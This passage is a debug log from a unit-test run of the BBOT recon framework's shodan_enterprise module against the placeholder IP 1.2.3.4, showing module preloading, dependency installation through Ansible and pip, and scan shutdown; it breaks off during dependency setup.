succeeded +2026-02-27 18:59:22,877 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 18:59:22,878 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check +2026-02-27 18:59:22,878 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 18:59:22,879 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 18:59:22,879 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) because precheck succeeded +2026-02-27 18:59:22,880 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) because precheck succeeded +2026-02-27 18:59:22,880 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) from TARGET +2026-02-27 18:59:22,881 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check +2026-02-27 18:59:22,881 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 18:59:23,505 [ERROR] bbot.modules.shodan_enterprise base.py:1707 Shodan API error: No information available for that IP. +2026-02-27 18:59:23,510 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 18:59:23,511 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:4438896287fbbcad5716b4f276bebdcc6dd04f55', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-02-27 18:59:23,511 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:4438896287fbbcad5716b4f276bebdcc6dd04f55', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 18:59:23,512 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) from TARGET +2026-02-27 18:59:23,512 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check +2026-02-27 18:59:23,513 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-02-27 18:59:23,513 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-02-27 18:59:23,514 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-02-27 18:59:23,514 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-02-27 18:59:23,515 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-02-27 18:59:23,515 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-02-27 18:59:23,516 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-02-27 18:59:23,516 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-02-27 18:59:23,616 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-02-27 18:59:23,617 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-02-27 18:59:23,636 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-02-27 18:59:23,636 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-02-27 18:59:23,636 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-02-27 18:59:23,650 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-02-27 18:59:23,651 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-02-27 18:59:23,651 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-02-27 18:59:23,652 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-02-27 18:59:23,653 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-02-27 18:59:23,654 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-02-27 18:59:23,775 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_k9r3xnbdv2 completed in 1 second with status FINISHED +2026-02-27 18:59:23,775 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-02-27 18:59:23,776 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 18:59:23,778 [INFO] bbot test_module_shodan_enterprise.py:20 I AM HEEER [SCAN("{'id': 'SCAN:4438896287fbbcad5716b4f276bebdcc6dd04f55', 'name': 'testshodan_ente...", module=TARGET, tags=set()), IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}), SCAN("{'id': 'SCAN:4438896287fbbcad5716b4f276bebdcc6dd04f55', 'name': 'testshodan_ente...", module=TARGET, tags=set())] +2026-02-27 18:59:23,778 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test +2026-02-27 18:59:23,778 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected +2026-02-27 19:00:50,198 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-02-27 19:00:50,200 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-02-27 19:00:50,212 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-02-27 19:00:50,213 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-02-27 19:00:50,214 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-02-27 19:00:50,215 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-02-27 19:00:50,216 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-02-27 19:00:50,217 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-27 19:00:50,217 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-27 19:00:50,219 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-27 19:00:50,220 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-27 19:00:50,221 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-27 19:00:50,222 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-27 19:00:50,223 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-27 19:00:50,224 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-27 19:00:50,225 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-27 19:00:50,225 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-27 19:00:50,226 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-27 19:00:50,227 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-27 19:00:50,228 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-27 19:00:50,229 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-27 19:00:50,230 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-27 19:00:50,231 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-27 19:00:50,231 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-27 19:00:50,232 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-27 19:00:50,233 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-27 19:00:50,234 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-27 19:00:50,235 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-27 19:00:50,235 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-02-27 19:00:50,236 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-27 19:00:50,237 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-27 19:00:50,237 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-27 19:00:50,239 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-27 19:00:50,239 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-27 19:00:50,241 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-27 19:00:50,242 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-27 19:00:50,245 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-27 19:00:50,246 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-27 19:00:50,248 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-27 19:00:50,248 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-27 19:00:50,250 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-27 19:00:50,250 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-27 19:00:50,251 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-27 19:00:50,252 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-27 19:00:50,253 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-27 19:00:50,253 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-02-27 19:00:50,254 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-02-27 19:00:50,256 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-02-27 19:00:50,256 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-02-27 19:00:50,257 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-02-27 19:00:50,258 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-02-27 19:00:50,258 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-02-27 19:00:50,259 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-02-27 19:00:50,260 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-02-27 19:00:50,260 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-02-27 19:00:50,261 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-02-27 19:00:50,261 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-02-27 19:00:50,262 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-02-27 19:00:50,263 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-02-27 19:00:50,263 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-02-27 19:00:50,264 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-02-27 19:00:50,264 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-02-27 19:00:50,265 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-02-27 19:00:50,266 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-02-27 19:00:50,266 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-02-27 19:00:50,267 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-02-27 19:00:50,271 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-02-27 19:00:50,272 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-02-27 19:00:50,273 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-02-27 19:00:50,274 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-02-27 19:00:50,275 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-02-27 19:00:50,275 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-02-27 19:00:50,276 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-02-27 19:00:50,277 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-02-27 19:00:50,277 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-02-27 19:00:50,278 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-02-27 19:00:50,279 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-02-27 19:00:50,279 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-02-27 19:00:50,280 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-02-27 19:00:50,281 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-02-27 19:00:50,281 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-02-27 19:00:50,282 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-02-27 19:00:50,282 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-02-27 19:00:50,283 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-02-27 19:00:50,283 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-02-27 19:00:50,284 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-02-27 19:00:50,284 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-02-27 19:00:50,285 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-02-27 19:00:50,286 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-02-27 19:00:50,286 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-02-27 19:00:50,287 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-02-27 19:00:50,287 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-02-27 19:00:50,293 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-02-27 19:00:50,294 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-02-27 19:00:50,295 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-02-27 19:00:50,295 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-02-27 19:00:50,296 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-02-27 19:00:50,297 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-02-27 19:00:50,298 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-02-27 19:00:50,299 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-02-27 19:00:50,299 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-02-27 19:00:50,300 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-02-27 19:00:50,301 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-02-27 19:00:50,303 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-02-27 19:00:50,304 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-02-27 19:00:50,305 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-02-27 19:00:50,305 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-02-27 19:00:50,306 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-02-27 19:00:50,307 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-02-27 19:00:50,308 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-02-27 19:00:50,308 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-02-27 19:00:50,309 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-02-27 19:00:50,310 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-02-27 19:00:50,310 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-02-27 19:00:50,311 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-02-27 19:00:50,311 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-02-27 19:00:50,312 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-02-27 19:00:50,312 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-02-27 19:00:50,313 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-02-27 19:00:50,314 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-02-27 19:00:50,315 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-02-27 19:00:50,316 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-02-27 19:00:50,316 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-02-27 19:00:50,317 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-02-27 19:00:50,318 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-02-27 19:00:50,318 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-02-27 19:00:50,319 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-02-27 19:00:50,319 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-02-27 19:00:50,320 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-02-27 19:00:50,320 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-02-27 19:00:50,321 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-02-27 19:00:50,321 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-02-27 19:00:50,322 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-02-27 19:00:50,323 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-02-27 19:00:50,323 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-02-27 19:00:50,324 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-02-27 19:00:50,324 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-02-27 19:00:50,325 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-02-27 19:00:50,326 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-02-27 19:00:50,326 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-02-27 19:00:50,327 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-02-27 19:00:50,327 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-02-27 19:00:50,328 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-02-27 19:00:50,328 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-02-27 19:00:50,329 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-02-27 19:00:50,330 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-02-27 19:00:50,331 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-02-27 19:00:50,331 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-02-27 19:00:50,332 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-02-27 19:00:50,332 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-02-27 19:00:50,333 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-02-27 19:00:50,333 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-02-27 19:00:50,334 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-02-27 19:00:50,334 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-02-27 19:00:50,336 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-02-27 19:00:50,336 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-02-27 19:00:50,337 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-02-27 19:00:50,337 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-02-27 19:00:50,338 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-02-27 19:00:50,338 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-02-27 19:00:50,339 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-02-27 19:00:50,339 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-02-27 19:00:50,340 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-02-27 19:00:50,341 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-02-27 19:00:50,342 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-02-27 19:00:50,342 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-27 19:00:50,343 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-27 19:00:50,343 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-27 19:00:50,344 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-27 19:00:50,345 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 19:00:51,686 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 19:00:51,687 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 19:00:51,687 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-02-27 19:00:51,826 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 19:00:52,428 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-02-27 19:00:52,429 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 19:00:52,429 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 19:00:52,430 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 19:00:52,646 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 19:00:52,649 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 19:00:52,763 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 19:00:52,764 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-02-27 19:00:52,815 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-02-27 19:00:52,818 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-02-27 19:00:52,818 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-02-27 19:00:53,481 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-02-27 19:00:53,481 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-02-27 19:00:58,889 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-02-27 19:00:58,890 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-02-27 19:00:58,890 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-02-27 19:01:00,864 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-02-27 19:01:00,864 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-02-27 19:01:00,868 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 19:01:00,868 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-02-27 19:01:00,869 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-02-27 19:01:00,869 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-02-27 19:01:00,873 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/0urrm3ejby66bt0ijszo +2026-02-27 19:01:01,846 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-02-27 19:01:01,847 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-02-27 19:01:01,847 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 19:01:01,847 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-02-27 19:01:01,848 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': 